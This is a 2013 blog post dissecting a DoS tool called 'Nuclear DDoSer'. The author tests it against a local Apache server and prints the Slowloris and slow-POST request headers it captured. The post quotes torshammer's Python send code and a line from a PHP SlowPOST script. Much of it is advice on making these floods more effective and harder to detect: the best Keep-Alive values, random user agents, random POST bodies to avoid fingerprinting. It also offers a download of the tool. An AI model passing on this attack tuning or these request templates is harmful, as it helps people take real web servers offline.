Friday, June 14, 2013

Denial of Service: An investigation into “Nuclear DDoSer”

Introduction:
Ok, so I was trawling through the junk I planned on looking into during my research into “XerXes”, and had been looking at some of the HTTP flooders skids today use. Then I stumbled across this gem…
“Nuclear DDoSer”. Wow. Scrubs today cannot even discern between DoS and DDoS… BOOORING!
But wait! This one does a lot more than you think! It implements the fast-flux SOCKS/Proxy technique I spoke about (the same one XerXes uses), uses HTTP POST and HTTP GET flooding (perhaps even Slowloris/Slowpost?), and even sorts the proxies for you?
Those are things I was going to implement in “RailGun”, before I suspended the project for various reasons!
So, lets take a look.
The Nuclear DoS tool
Nuclear DoS - Proxy Menu
The attack menu of Nuclear DoS
So, I notice it has a lot of configurable options – which I plan to eventually investigate, but for now I am more interested in what kind of “junk” it is sending…
Experimentation – The “SlowLoris”
So I started an apache server on localhost, ran Wireshark, and ran the “get flooder”. As my current OS is BackTrack 5, bt.foo.org points towards 127.0.0.1.
This is what all the HTTP requests looked like…
GET /
Host: bt.foo.org
User-Agent:  Mozilla/5.0 (Windows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset : ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
So, not 100% sure of myself, I ran SlowLoris against myself… Here be the output of the Wireshark…
GET /
Host: bt.foo.o rg
User-Agent:  Mozilla/5.0 (Win dows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf -8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Well shit! Here we have a gods-honest, multithreaded, multi proxy, .net version of Slowloris! For once, I actually was surprised. Skidiots NEVER write anything properly!
Add in a bit of user-agent spoofing (both the slowloris.pl I have, the latest, and the “Nuclear DDoSer” seem to use a static UA, though I didn’t investigate too much), and this could be pretty fascinating.
Might I add, when either of them were ran, the server stopped replying to anything, pretty hilarious IMHO…
Experimentation! The “Slow Post”
Now to investigate the “Slow Post” it claims to have… Apache back up? Check… Ok, lets go!
Here are the headers/requests the skidware outputs…
POST /
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  application/x-shockwave-flash, application/x-ms- application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language:  en
User-Agent:  Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5 .21022; .NET CLR  3.0.4506.2152;  .NET CLR 3.5.307 29)
Content-length: 20
Host: bt.foo.org
Connection: Keep-Alive
data=nuclear ddosser
Ok. Now again, it needs some user agent spoofing, and I do not quite understand the huge UserAgent it uses, though I assume it is a copy paste, or perhaps the author hoped a bigger user agent meant a better flood. The other MASSIVE PROBLEM is the EASILY FINGERPRINTED “data=nuclear ddoser”. A better implementation would have a random crap generator, and calculate content length on the fly, changing every “n” packets/requests sent.
BUG: Should specify Keep Alive value equal to or less than 120 but no less than 80.
Let’s see what the Python variant, “torshammer” (a VERY efficient tool if you tweak it a little) looks like…
POST /  HTTP/1.1
Host:  bt.foo.org
User-Agent: Mozilla /4.0 (compatible ; MSIE 7.0; Windows NT 5.1; Trident/4.0;FDM; .NET CLR 2.0.50727 ; InfoPath.2; .NET CLR 1.1.4322)
Connection: keep-alive
Keep-Alive: 900
Content-Length: 10000
Content-Type:  application/x-ww w-form-urlencoded
There is a lot of junk sent after this request, and this is what the request (in the Python script) looks like…
self.socks.send(“POST / HTTP/1.1\r\n”
“Host: %s\r\n”
“User-Agent: %s\r\n”
“Connection: keep-alive\r\n”
“Keep-Alive: 900\r\n”
“Content-Length: 10000\r\n”
“Content-Type: application/x-www-form-urlencoded\r\n\r\n” %
(self.host, random.choice(useragents))
Now, one MASSIVE failing there is in the Keep-Alive value. The author of Torshammer chose “900″. Actually, to be fair, he just optimized the PoC I released back in my evil blackhat days, and I had left it at 900 as an anti skiddo trick. The real value to choose is between 80 and 120. With these smaller values the box ACTUALLY WAITS, instead of giving error 400 all the time. This is one of those edits to make ;)
I also like his randomization of user agents, it is pretty win. And the POST junk it sends is as follows…
p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+”Posting: %s” % p+term.NORMAL
self.socks.send(p)
See this? He generates random junk strings to POST to the target server, FAR harder to fingerprint! Of course, the best implementations would not just limit to letters and numbers, all kinds of characters are fine too :D
Conclusion:
This particular “Skid Ware” actually DOES what it is meant to do, surprisingly enough. The main problem is that it does have a tendency to crash every so often (what do you expect? It is .net!), and, uh, its closed source.
But not for long!
Once I get a Windows box, or even a box capable of running a virtual machine of Windows (I had it running under Mono), I plan to reverse engineer it… Which will be hilarious! When I get around to doing that I will release the binary and source-code of this application.
Windows Tool ------>              DOWNLOAD

Bootnote: “NewEraCracker”, the author of LOIC, has written a PHP script (designed to be ran from the PHP command line, like “php -f SlowPOST.php”) which seems to implement the HTTP Slow Post attack fairly well.
You can see on line 201 that he has even paid attention to detail on how it works!
$out .= “Keep-Alive: “.mt_rand(60,120).”\r\n”;
Link: NewEraCracker’s SlowPost Tool
I guess he finally listened to all the bitching the more clever “Anons” were doing about needing replacements for LOIC…


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